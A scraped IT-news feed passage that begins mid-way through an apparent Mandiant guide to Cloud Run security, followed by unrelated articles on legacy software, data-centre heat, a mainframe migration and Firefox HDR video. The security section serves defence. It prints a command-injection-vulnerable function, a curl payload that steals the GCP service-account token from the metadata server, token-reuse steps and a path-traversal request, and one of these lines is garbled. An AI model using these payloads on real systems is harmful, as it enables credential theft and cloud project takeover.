    Best Practice: Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.

    Code Execution/Command Injection

    In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.

    import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)

    Figure 4: Python function utilizing shell execution with unsanitized user input

    This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token. 

    The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:

    curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"

    Figure 5: Extraction of a GCP service account bearer token via a curl request

    Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the CLOUDSDK_AUTH_ACCESS_TOKEN environment variable can be set using the stolen bearer token.

    export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”

    Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable

    Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the  Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:

    • Read/write/delete most GCP resources

    • Deploy new services and modify existing configurations

    • Access secrets and encryption keys

    • Exfiltrate data across all accessible storage systems

    • Establish persistent backdoors through new service accounts or SSH keys.

    Hardening Recommendations

    Mandiant recommends that organizations implement parallel approaches for effective serverless security:

    • Secure Software Development Lifecycle (S-SDLC): integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing; 

    • Vibe Coding: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the Wiz Vibe Coding Security Fundamentals blog.

    • Compensating Runtime Controls: Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;

    Segregate Public Services

    Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the secured serverless architecture blueprint.

    Identity and Access Management (IAM)

    Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:

    • Cloud Storage Bucket Access: If the service only requires read access to objects from a Cloud Storage bucket, grant the Storage Object Viewer (roles/storage.objectViewer) role restricted to that specific bucket.

    • Secret Manager Access:  If the service requires access to secrets, grant the Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the GCP documentation on configuring secrets.

    Layer 7 Application Load Balancer (ALB) Architecture

    Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:

    • Centralized Traffic Management: Granular control over headers and SSL policies.

    • Cloud Armor Integration: Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).

    • Traffic Shaping: Implementation of rate limits and request limitations to prevent abuse.

    • Enhanced Visibility: Robust logging and log-forwarding capabilities for security monitoring.

    • Identity-Aware Proxy (IAP): integration support for scenarios requiring specific identity-based authentication for internal users.

    Web Application Firewall (WAF) — Cloud Armor

    Cloud Armor provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.

    Local File Inclusion

    The lfi-v33-stable preconfigured WAF rules can block common local file inclusion attacks (local file inclusion reference).

    evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})

    Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration

    Blocking a path traversal request ../../../etc/passwd resulting in a 403 forbidden:

    curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

    Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden

    Remote Code Execution

    The rce-v33-stable preconfigured WAF rules can block remote code execution attempts (remote code execution reference).

    evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})

    Figure 9: Cloud Armor rce-v33-stable WAF rule configuration

    Blocking the remote code execution request from the previous example results in a 403 forbidden:

    curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

    Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden

    Serverless Architecture Controls

    Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.

    Secure Software Development Lifecycle (S-SDLC)

    While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.

    Cloud Run Threat Detection

    Beyond the hardening recommendations outlined in this post, Google Cloud Security Command Center (SCC) provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The Cloud Run Threat Detection service is available for Premium and Enterprise tiers.

    Conclusion

    Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture. 

    Acknowledgements

    This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.

    ]]>         <![CDATA[Rewriting Distrobox in Go: creating the foundation of a brand new ecosystem (osc26)]]> https://tsecurity.de/de/3670859/it-security-video/rewriting-distrobox-in-go-creating-the-foundation-of-a-brand-new-ecosystem-osc26/ https://tsecurity.de/de/3670859/it-security-video/rewriting-distrobox-in-go-creating-the-foundation-of-a-brand-new-ecosystem-osc26/ Wed, 15 Jul 2026 15:48:58 +0200 🎥 IT Security Video tsecurity.de <![CDATA[The trillion-dollar question: When should legacy applications make way for AI?]]> https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/ https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/ Wed, 15 Jul 2026 12:03:08 +0200 📰 IT Nachrichten tsecurity.de

    If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.

    That’s far from true. Just 4 of 33 AI pilots reach production, according to IDC Research — leaving legacy applications still fueling the wheels of commerce. This “silent majority” represents trillions of dollars spent each year on building, maintaining, testing, validating and monitoring legacy applications.

    These applications won’t be replaced overnight. Companies and organizations depend on their predictability. The 60-plus-year-old COBOL programming language remains the backbone of banking software for good reason: it is extraordinarily efficient at processing massive transaction volumes with precision. Furthermore, do you want your bank revolutionizing how they manage your money? Probably not.

    So, while AI investment continues to build inside the software development lifecycle (SDLC), it isn’t instantly rendering older software obsolete. What it will do is steadily enable easier tweaking, updating and testing of legacy applications — and in some cases, full migrations to modern platforms. And really, this isn’t a new phenomenon. Businesses have always looked to wring more efficiency and profit from existing products through intelligent prioritization.

    The argument then is that CIOs and CTOs can take a proactive look at their legacy application portfolios to determine which ones, if any, should migrate sooner. Five considerations can help guide that decision.

    Before replacing legacy apps with AI, ask these 5 important questions

    1. Does the legacy application still work?

    Is its utility still there? Customers often appreciate the consistency of legacy applications. They’re reliable, predictable and well understood. Don’t fix what isn’t broken. Another way to think about this is the degree to which the technical approach of your legacy application is still viable. It’s pretty much a guarantee nowadays in software that an application built one way, with some set of technologies, would be built a totally different way just two to three years later. There is no avoiding that, but what you want to avoid is investing further into a technical approach powering a legacy application that has been completely replaced with new software or a technical approach, especially if it is 10x better across the vectors of software development (latency, cost, accuracy).

    2. Does it still make financial sense?

    Running a system over a long period amortizes costs significantly. Even as growth rates slow or plateau, it can still be less expensive to let legacy applications run than to overhaul them. Another way to think about this is: how viable is my customer base in the near-term and the long-term? If you anticipate modest—or even flat—earnings growth for your product, then that’s an indicator that it’s possibly worth optimizing your development processes with AI. Where it’s probably not worth investing is when you have no confidence in your future earnings, whether that’s due to the customer base shrinking or commoditization or something else.

    3. Can you integrate AI into existing workflows?

    A significant portion of upcoming software development lifecycle work will focus on refactoring applications to be more AI-native. Some legacy applications may be strong candidates for a full AI rebuild, while others are better positioned for an AI add-on. Gartner research from 2025 found that only 28% of AI use cases in infrastructure and operations fully succeeded.

    Among those that did, success was attributed primarily to integrating AI into existing workflows and systems. “As AI becomes part of day‑to‑day operations, it boosts adoption and creates visible impact within the organization,” Gartner states.

    It’s important to keep in mind the distinction between using AI to optimize an existing process or workflow within your application, versus powering a workflow or feature with AI. The former approach is more palatable for legacy applications because it generally doesn’t change the cost profile of running that application. In the latter case, if you’re introducing an AI-powered module into the application, you’re generally going to incur inference costs at runtime, and they are an order of magnitude more expensive for today’s frontier models than base compute.

    4. Do you have documented processes for maintaining legacy applications?

    If so, you’ll more quickly identify where AI can optimize. The more coherent, organized and detailed processes are, the faster AI can find its footing and drive tangible efficiency gains. If documentation is lacking, start there. Keep detailed instructions and workflows for how you do things. Consistency matters. Don’t do things by heart. Don’t approach tasks casually, and don’t do things differently each time. The more uniform your process, the more easily you can insert AI into discrete steps and achieve efficiencies without disrupting the broader software development lifecycle. The organization in the most precarious position is the one managing legacy applications with no documented process for doing so.

    5. Can you prioritize?

    Making a change to a piece of legacy software might involve 20 or more steps. Only one or two of those steps may be clear candidates for AI-driven optimization. Identifying and prioritizing those opportunities will help you realize early wins and build the case for broader return on investment. Also, not all candidates for optimization make sense in light of broader financial and operational constraints. As always, prioritize ruthlessly in favor of ROI—bang for your buck. If your team has been struggling to operate a particular part of your system due to a lack of expertise or time, you might consider using AI to buttress the maintenance of that component. Having AI own that part of the workflow might unlock big time savings—or it might erode crucial domain knowledge that your team used to possess through repetition. There is no one-size-fits-all; think through the second-order effects.

    Adding AI in testing in the SDLC

    Beyond coding and application development, AI is opening new possibilities in how we test software. As leaders examine processes and look for places to insert AI, testing is often a natural entry point. There has been substantial innovation here, including new autonomous AI-driven testing solutions, those that have been enhanced with AI, and hybrid approaches that blend both. Each organization will be at a different place in its AI journey. Testing solutions exist to meet everyone where they are. Also, the state of applications will help determine which approach fits best—and when it fits as you evolve applications.

    Of course, there is some substance to the AI hype around how much code AI will write and how many applications it is already creating faster than ever. But one school of thought is that AI’s biggest economic impact will be in the creation of massive new markets and industries rather than in the complete displacement of existing industries. Regardless of how far AI takes us through the universe, it’ll take some time and it’ll be bankrolled by the trillions of dollars of existing products and industries that we depend on every day.

    That’s all good news for legacy players, but no one can afford to stay still. AI capabilities are advancing rapidly. Make it a habit to revisit legacy applications and workflows regularly. The right moment to introduce AI will keep shifting, and staying ahead of it is a competitive advantage.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[The Disney settlement is a story about two layers of infrastructure that no longer line up]]> https://tsecurity.de/de/3669989/it-nachrichten/the-disney-settlement-is-a-story-about-two-layers-of-infrastructure-that-no-longer-line-up/ https://tsecurity.de/de/3669989/it-nachrichten/the-disney-settlement-is-a-story-about-two-layers-of-infrastructure-that-no-longer-line-up/ Wed, 15 Jul 2026 10:18:17 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Behind the Book: Threat-Driven Software Development]]> https://tsecurity.de/de/3669833/it-security-nachrichten/behind-the-book-threat-driven-software-development/ https://tsecurity.de/de/3669833/it-security-nachrichten/behind-the-book-threat-driven-software-development/ Wed, 15 Jul 2026 09:08:38 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[How data centers cope with heat waves]]> https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/ https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/ Tue, 14 Jul 2026 22:52:03 +0200 📰 IT Security Nachrichten tsecurity.de

    Europe is sweltering. The summer of 2026 has seen historic heat waves that have taken a significant toll on infrastructure. In recent weeks, across the continent, problems have been reported in the power grid, telecommunications, and rail transportation. IT infrastructure has not been spared from the situation.

    “The heat affects equipment long before anyone notices a problem,” explains Ricardo Román, sales director at Fracttal, in an email. “Every piece of equipment has a temperature range within which it is designed to operate, and when it operates above that range, it begins to degrade silently,” he says. A process of wear and tear begins that will eventually take its toll. With technology, this happens much faster. “In a data center, this effect is amplified because there’s no margin for error,” he notes. When something starts to fail, everything grinds to a halt.

    In fact, this latest heat wave has already had negative impacts on data centers outside of Spain. In the United Kingdom, high temperatures shut down hospital data centers and caused the University of Cambridge’s Dawn supercomputer to go offline, as its cooling systems were unable to cope with the temperatures. That’s the crux of the problem. “In IT, heat isn’t a computing problem—it’s a problem of maintaining the assets that support the data center,” explains Román. 

    Heat thus becomes yet another risk for the IT industry and, in particular, for data centers.

    Temperatures are a clear and growing concern when it comes to corporate risk prevention. “I see it in conversations with clients: In the past, the maintenance team was the one monitoring the temperature in a technical room,” Román says. “Today, management also monitors it, because they know that if that goes down, the service goes down—and behind the service is the end customer,” he adds. Maintenance has gone from being a cost “to a lever for business continuity that no one dares to touch.”

    As a World Economic Forum analysis warns, we’re experiencing a boom in AI-driven data centers, but the impact of climate risks on them is being overlooked. Their estimates suggest these risks could result in an additional annual cost of $81 billion by 2035 and $168 billion by 2065. These calculations include all kinds of threats, such as floods or droughts, but most of the impact comes from extreme heat.

    These projections are confirmed by data from the industry itself: Over the past three years, extreme weather events have accounted for one-third of the losses incurred by the U.S. division of the data center company Zurich. According to projections by the climate risk analysis firm First Street, 79% of global data centers will face increased risks from extreme weather. MapleCroft estimated in 2025 that 56% of major data centers had a high or very high risk rating for extreme heat, and that this figure would rise to 80% by 2080.

    These percentages cannot be easily extrapolated to Europe in general—and to Spain in particular—as one might think, although they do make the trend clear. Guillermo Benito, CTO of Nabiax, points out during a video call that these studies are based on global samples and thus place significant weight on the capacity of Asia and the United States. “We represent a small percentage there, but that said, all countries will have to adapt. The two major challenges for data centers are energy and cooling,” Benitonotes.

    Spain: A pioneer in heat?

    In late June, French Labor Minister Jean-Pierre Farandou proposed taking a training course in Spain to learn how to prevent high temperatures from paralyzing a country. Although Spain’s climate varies by region, high summer temperatures are common in many areas (though climate change has made them more extreme and frequent in recent years), and the infrastructure of knowledge and solutions that Farandou wanted to learn about has been established. The big question is whether this also applies to data centers. Is Spain better prepared than other European regions?

    “Heat waves are becoming increasingly intense and frequent. What used to happen once every two years now happens two, three, or four times a year,” Benito says. Speaking from his own experience, he adds: “In Spain, data centers already take these factors into account.” When it comes to redundancy, monitoring, or maintenance, these factors are already factored in. “It’s not like it’s an unforeseen event. It’s already been taken into account, and we build in a lot of redundancy—a wide safety margin,” he says.

    The difference compared to central or northern Europe is that some haven’t considered this possibility. Benito points out that the same thing happens with homes. “For many years, they’ve been designing with two assumptions: that they have plenty of water because their climates are humid, and that it never gets hot,” he says. And this is a problem, because their summer temperatures have risen significantly during extreme heat waves. “Temperatures in the UK have gone up by 10 or 15 degrees, and their data centers aren’t prepared for that,” he says. In fact, he shares an anecdote about “a certain hyperscaler that, a few years ago, when its data centers in the United Kingdom went down, held a global conference to figure out how this had happened and draw lessons from it.” The curious thing is that what they learned was something that was already well known in Spain.

    centro de datos

    Ä°smail Enes Ayhan | Unsplash

    It was already getting hot in southern Europe, and preparations were needed. Now, temperatures are becoming a topic of conversation outside the region, and climate change has made its way into IT strategy. Benito confirms that, yes, the conversation is more visible in global settings. “For several reasons. The first is because, obviously, it affects operations. Another is the market. Customers also demand that you address this.” Before, the focus was on power capacity and square meters. Now, the expert points out, people are asking where the electricity comes from and whether it’s clean, and they’re demanding emissions guarantees. The sector is making significant investments to become sustainable, he argues.

    Beyond consumption data and the improvements that can be made, the big question is whether these high temperatures are already impacting decision-making—whether decisions on where to locate data centers (or not) are already being made with heat in mind.

    Industry representatives explain that while the climate can have an impact and is already taken into account when deciding where to locate a data center, it is not yet the sole factor or the most decisive one. In other words, many other factors must be considered, and these carry much more weight in the decision-making process. One such factor is energy, which is essential for these infrastructures and must be constant, resilient, and have a low carbon footprint. It is also an area where cooling plays a major role. As Román points out, cooling can account for between 30 and 40% of energy consumption, “and in poorly managed facilities, that figure approaches 50%.” Energy efficiency and cooling efficiency are thus essential—and not just for sustainability reasons. “It’s a matter of the bottom line.”

    Another factor is space. As Benito says, you need “stable locations where you can grow.” This isn’t just about whether the infrastructure fits, but also about how it aligns with the needs of its customers. As this expert points out, the concentration of data centers near Madrid or Barcelona isn’t “just a whim,” but because you need to be close to large population centers to provide them with low latency. “Other supercomputing applications can be located farther away, and that’s already happening,” he explains, but generally speaking, you can’t just put data centers anywhere. You have to strike a balance between needs and available space.

    How to survive the heat

    So, how can we survive the heat, especially when projections suggest that the future will bring even higher temperatures? The key is to understand that this is no longer a curiosity or an occasional incident. As Román points out, air-conditioning systems are running longer and longer. What worked 10 years ago will now barely suffice—it’s “pushed to its limits.” “Heat is shifting from being an August blip to a variable that must be monitored year-round. One you endure; the other you manage.”

    “By the time the room’s thermometer rises, it’s already too late. What you need to monitor isn’t the room—it’s the equipment—and you have to do it sooner,” he says. Román recommends a three-step strategy. First, don’t measure the environment; instead, measure the equipment and its variations in temperature, vibrations, and energy consumption. Next, take action on any deviations: Don’t wait for a failure, but instead act on early indicators that things aren’t normal. And finally, keep a comprehensive record of historical data, which will be key to anticipating issues and learning from them. “And here I’m going to be honest, because this is what I see every day: The technology to do all this already exists and isn’t expensive,” he asserts. “Many critical facilities are still managed using an Excel spreadsheet and the memory of a technician who’s been there for twenty years,” he warns. And that’s a problem.

    In the specific case of data centers, Spain has done its homework. The high temperatures (which exceeded those recorded in the United Kingdom, where some data centers did shut down) did not bring them to a halt during this heat wave.

    Unlike what might happen in other countries, Spain has optimized its cooling systems to be efficient and sustainable, as Benito explains, noting that the country must also contend with water stress. “In other countries, I can use water and let it evaporate as I please because I know it’s going to rain again—or at least that was the case until recently. In Spain, we’ve known for a long time that this isn’t the case,” he says. That’s why we work with closed-loop systems. “Most of us operators don’t use any water,” he says. The same water, mixed with certain cooling agents, circulates continuously. “Once the loop is filled, we don’t lose a single drop,” he asserts.

    What this expert is now seeing at international conferences is that in other countries where water wasn’t an apparent problem, people are starting to talk about working this way—”as a technical innovation.” “That’s where we say, ‘Yes, just like the ones we have in Spain or Portugal,’” he remarks with a touch of humor. “Water, like energy, is a challenge,” he says, so everything has already been designed with that in mind. It isn’t wasted, it doesn’t evaporate, and it isn’t consumed, he says.

    ]]>         <![CDATA[Deluxe Corporation beats the odds with mainframe migration using AI]]> https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/ https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/ Tue, 14 Jul 2026 11:32:57 +0200 📰 IT Nachrichten tsecurity.de

    Deluxe may have prevailed against the odds when it successfully migrated from a 50-plus-year-old mainframe recently.

    The company was able to move from it to a cloud environment in about 12 months without a major hitch, and while AI did some of the heavy lifting. The save will amount to about $4.9 million a year by retiring old hardware and software, cutting labor costs, and consolidating IT resources.

    Deluxe, based in Minneapolis and traditionally known as a check printer, has transformed itself into a payments IT provider in recent years. But it desperately needed to end its reliance on its ancient mainframe, says Yogaraj Jayaprakasam, the company’s chief technology and digital officer, pictured.

    So AI played a huge role in the IT modernization project, he says, using it to rewrite the old mainframe code, generate documentation, and regenerate code test cases. The company also used an AI-powered test automation suite, as well as AI tools to help move assets to the new cloud environment.

    While AI can’t do everything during mainframe migration, it can make the move easier, Jayaprakasam says. “The biggest lessons learned is AI is one of the missing tools in your transformation tool set,” he adds.

    Failing projects

    Deluxe’s mainframe migration earned it a 2026 CIO 100 Award for IT innovation and leadership, but it also seems to have bucked a recent trend. Many mainframe migration projects haven’t gone as planned, and Gartner recently predicted that more than 70% of mainframe exit projects that started in 2026 will fail to produce intended benefits because of an overreliance on gen AI.

    Mainframe transformation projects tend to work better when they’re part of a larger business transformation rather than a one-off project using gen AI to do most of the work, says Gartner analyst Alessandro Galimberti.

    “Generative AI and agentic AI are extremely powerful, but they also have their own limits,” he says. “With all these kinds of tools trying to convert code or somehow fit into a non-mainframe workload, we don’t really see a track record of success.”

    Gartner also sees a declining interest in mainframe migration projects, Galimberti says. With mainframes getting support from several IT vendors, and with a general lack of migration success, many companies are choosing to keep many workloads on their existing big iron.

    But mainframes also have a proven track record of very high uptime and backward capability, Galimberti says.

    “If I’m a bank, a financial institution, or a transportation company, I need to run applications that are the core of my business,” he adds. “I need reliability, transactional integrity, and security, and these applications have a low change rate over the years because they map very stable business processes.”

    The Gartner prediction makes sense to John McKenny, senior VP and GM of Intelligent Z optimization and transformation for mainframe support vendor BMC Software.

    “With organizations thinking about mainframe exits, the expected benefits they’re looking for are usually pretty straightforward,” he says. “They think, ‘It’s going to be lower cost, I’m going to get equal or better capabilities, I should be more agile.’  The reality is those outcomes rarely show up at scale.”

    Mainframe migration is possible, but the successful projects tend to be small scale, McKenny adds. He was on a recent call about a failed migration project in Europe, with a large bank cancelling the project at the end of 2025 and recommitting to the mainframe as a strategic platform.

    “I’ve never seen a large-scale mainframe migration project finish under budget, ever,” he says. “Most of the projects I hear about fail outright.”

    Trying again

    Like some organizations that Gartner has observed, Deluxe tried to move away from its mainframe several years ago, but the project failed, Jayaprakasam says. Yet the company took the steps it needed this time to ensure the new migration succeeded.

    While a mainframe migration isn’t for every organization, the latest move made sense for Deluxe, he says.

    The mainframe, after all, was the backbone for a large portion of the company’s annual revenue, and interfaces with several top banks across North America. The modernization effort rebuilt core business processes and data, moving them from the mainframe to a modern cloud-native technology stack, including Salesforce, Mulesoft, and SAP S4/HANA.

    While AI played a big part, there’s danger in overestimating the power of AI during a migration project, Jayaprakasam says, and organizations need to follow best practices for IT migration.

    “If you minimize the importance of communication, risk planning, and business alignment because you have AI, you tend to fail,” he says. “But as long as you play all those cards and recognize AI was the missing piece to the puzzle, then you have a much better chance of winning.”

    Deluxe also used a cross-functional tiger team to look at the various options available to accelerate reverse engineering, including AI tools from OpenAI, Anthropic, as well as GitHub Copilot throughout the project.

    In addition, AI was useful to dig through the mainframe code and understand what needed to be updated, Jayaprakasam says. Organizations sitting on decades-old code often no longer have people who understand it.

    “I always tell people that the code remembers what the organization forgot, because with people going and changing, people don’t remember what we wrote in the code, but the code remembers,” he adds. “The amazing tool that was missing before is we didn’t have an interpreter who understood what the code remembered. Now with AI, you have the interpreter.”

    ]]>         <![CDATA[Mozilla GFX: HDR video in Firefox for Windows tech retrospective]]> https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/ https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/ Tue, 14 Jul 2026 07:08:30 +0200 💾 Tools tsecurity.de HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.

    A primer on video playback for the web:

    • Video file demux and decode: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in NV12 for SDR or P010 for HDR. (If you visit about:support in Firefox, and search for Codec Support Information (or one of the codec names like AV1), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)
    • Gecko displaylist building: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.
    • WebRender: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the DirectComposition API, which manages a graph of visuals. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.

    As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:

    • Initially, we had hoped that on a modern system, BT2100 HDR videos could be displayed on Windows by simply sending them to DirectComposition.
      • In theory, the Desktop Window Manager (DWM) honors the DXGISwapChain3::SetColorSpace1 method which should let us request either DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020 or DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020. The former refers to SMPTE 2084, more commonly called PQ, the Perceptual Quantizer function and the latter is ARIB-STD-B67 also known as HLG, the Hybrid Log Gamma function, most commonly used on HDR TV broadcasts.
      • Unfortunately, this was a dead end. In testing with a mocked up compositor test app, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.
      • For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.
    • As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
      • Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.
      • Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.
      • In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.
    • We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
      • In favor of VideoProcessorBlt:
        • It uses less power on GPUs that have a video processor unit.
        • We discovered in testing (using CheckVideoProcessorFormatConversion) that while many modern GPUs support one of the needed conversions (P010 PQ -> RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -> RGB10 PQ).
        • The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.
        • In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.
      • In favor of writing our own shader with all of the features:
        • This would work consistently on all vendors – nothing special here.
        • This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.
        • This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV->RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020->BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).
      • In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.
    • There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
      • We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.
      • We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.
    • We hope we can avoid tone mapping HDR content when viewed on HDR displays.
      • It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.
      • For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper Photographic Tone Reproduction for Digital Images by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -> 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.
